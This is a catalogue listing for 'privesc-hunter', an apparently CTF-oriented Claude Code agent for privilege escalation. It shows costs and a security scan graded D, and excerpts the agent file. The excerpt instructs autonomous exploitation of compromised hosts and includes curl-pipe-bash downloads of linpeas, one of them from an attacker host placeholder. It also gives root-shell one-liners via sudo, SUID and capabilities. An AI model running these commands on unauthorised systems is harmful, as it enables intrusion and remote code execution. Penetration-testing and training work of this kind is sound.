privesc-hunter

privesc-hunter is an agent for Claude Code from allsmog/blackbox-claude-plugin. It costs 169 tokens per session (2,381 once invoked), scanned D, original, MIT.

An agent for finding ways to gain higher permissions on a Linux or Windows system after an initial login or shell.

In plain words
What is it for?
It is for detecting the operating system, checking for privilege-escalation opportunities, ranking them, and providing exploitation guidance.
Why use it?
It helps identify misconfigurations and other paths that could allow a regular account to become an administrator or root user.

Agent for Claude Code

Written for Claude Code: shipped in a Claude Code plugin. Also seen: model in frontmatter; names the TodoWrite tool; positional $N argument.

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Good fit It is for detecting the operating system, checking for privilege-escalation opportunities, ranking them, and providing exploitation guidance.

Compare 6 agents from other repositories ↓
Install with agentmods
npx agentmods add agents/allsmog/blackbox-claude-plugin/privesc-hunter
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for privesc-hunter

README.md
[![agentmods](https://agentmods.dev/badge/agents/allsmog/blackbox-claude-plugin/privesc-hunter/github.svg)](https://agentmods.dev/agents/allsmog/blackbox-claude-plugin/privesc-hunter)
Your own site
<a href="https://agentmods.dev/agents/allsmog/blackbox-claude-plugin/privesc-hunter"><img src="https://agentmods.dev/badge/agents/allsmog/blackbox-claude-plugin/privesc-hunter/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for privesc-hunter

Your own site · 80×15
<a href="https://agentmods.dev/agents/allsmog/blackbox-claude-plugin/privesc-hunter"><img src="https://agentmods.dev/badge/agents/allsmog/blackbox-claude-plugin/privesc-hunter.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 169 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 2,381 The whole file, excluding the scripts and references it only reads on demand.
Security scan D 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00169 $0.02381
Opus 5 $0.00084 $0.01190
Sonnet 5 $0.00034 $0.00476
Haiku 4.5 $0.00017 $0.00238

Measured 8d ago against content hash 840d73d62471, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade D, and why

privesc-hunter scanned grade D with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

# Example: sudo vim

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash | tee linpeas.txt

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

# If curl available
blackbox-htb/agents/privesc-hunter.md · 360 lines

How it starts

The opening of the file, as written. The whole thing — 360 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Privilege Escalation Hunter Agent

Purpose

Autonomously identifies and exploits privilege escalation vectors on compromised Linux and Windows systems.

Behavior

On Invocation

  1. Detect target OS (Linux/Windows)
  2. Run appropriate enumeration tools
  3. Analyze output for privesc vectors
  4. Rank findings by exploitability
  5. Provide step-by-step exploitation guidance
  6. Attempt exploitation with user confirmation

OS Detection

# Linux
uname -a && cat /etc/os-release

# Windows (PowerShell)
[Environment]::OSVersion; systeminfo | findstr /B /C:"OS"

Linux Privilege Escalation

Automated Enumeration

LinPEAS (Primary)
# If curl available
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash | tee linpeas.txt

# If wget
wget -O- https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash | tee linpeas.txt

# From attacker
curl http://<ATTACKER>:8000/linpeas.sh | bash | tee linpeas.txt
Parse Key Sections

Focus on colored/highlighted output:

  • RED/YELLOW: 95% chance of privesc
  • RED: High probability vectors
  • Yellow: Possible vectors worth investigating

Manual Checks (Prioritized)

1. Sudo Permissions (Most Common)
sudo -l

Exploitation:

  • Check GTFOBins for each binary
  • Common: vim, less, find, awk, nmap, python, perl, ruby
# Example: sudo vim
sudo vim -c '!sh'

# Example: sudo find
sudo find / -exec /bin/sh \;

# Example: sudo python (use pty spawn)
sudo python -c 'import pty; pty.spawn("/bin/sh")'
2. SUID Binaries
find / -perm -4000 -type f 2>/dev/null

Check each against GTFOBins:

# Example: SUID on /usr/bin/find
/usr/bin/find . -exec /bin/sh -p \; -quit

# Example: SUID on python3 (use os.setuid + execve)
/usr/bin/python3 -c 'import os; os.setuid(0); os.execv("/bin/sh", ["/bin/sh"])'
3. Capabilities
getcap -r / 2>/dev/null

Exploitation:

# cap_setuid on python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.execv("/bin/sh", ["sh"])'

# cap_net_bind_service - less useful
# cap_sys_admin - container escape

Read the full file on GitHub · 360 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 360 lines · 169 tokens per session scan D 840d73d62471

Subscribe to this mod's changes

privesc-hunter is an agent published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 169 tokens to every session and 2,381 once invoked, about $0.0008 per session on Opus 5. A static security scan graded it D with 3 findings (asks for root, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other agents, from other repositories

injection-tester

Tests for SQL injection, NoSQL injection, and OS command injection across HTTP parameters, JSON bodies, and headers. Uses sqlmap for automated SQLi detection and curl for manual probing. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator.

Stickman230/claude-pentest · 60 tokens

Pentester Executor

Executes specific vulnerability tests. Follows 4-phase workflow (Recon → Experiment → Test → Verify), generates PoCs, captures evidence. Specialized by attack type.

Stickman230/claude-pentest · 37 tokens

Pentester Orchestrator

Penetration-test PLANNER. Reads confirmed scope and recon results, then returns a structured deployment plan (which executors, against which surfaces, in what order, with time allocation and escalation directives). Does NOT deploy executors itself — the /pentest:pentest command (main session) owns dispatch…

Stickman230/claude-pentest · 75 tokens

csp-bypass-tester

Inspects Content Security Policy headers for policy weaknesses and tests bypass vectors including unsafe-inline, unsafe-eval, wildcard sources, JSONP endpoints, Angular sandbox escape, and open redirects in whitelisted domains. Uses Playwright for browser-based CSP inspection and script execution testing. Follows…

Stickman230/claude-pentest · 78 tokens

inventory-api-discovery

Discovers REST API endpoints, GraphQL schemas, SOAP/WSDL services, WebSocket connections, and API documentation (Swagger/OpenAPI/Postman). Enumerates versioned APIs (v1/v2/v3) and undocumented endpoints. Produces structured API endpoint inventory. Follows 4-phase workflow. Deployed by web-application-mapping skill…

Stickman230/claude-pentest · 76 tokens

inventory-javascript-mapper

Discovers JavaScript-rendered pages, SPA client-side routes, dynamically-loaded scripts, AJAX-triggered endpoints, and hidden features invisible to standard scanners. Uses Playwright headless browser automation to execute JavaScript and extract framework route registries (React Router, Vue Router, Angular). Follows…

Stickman230/claude-pentest · 80 tokens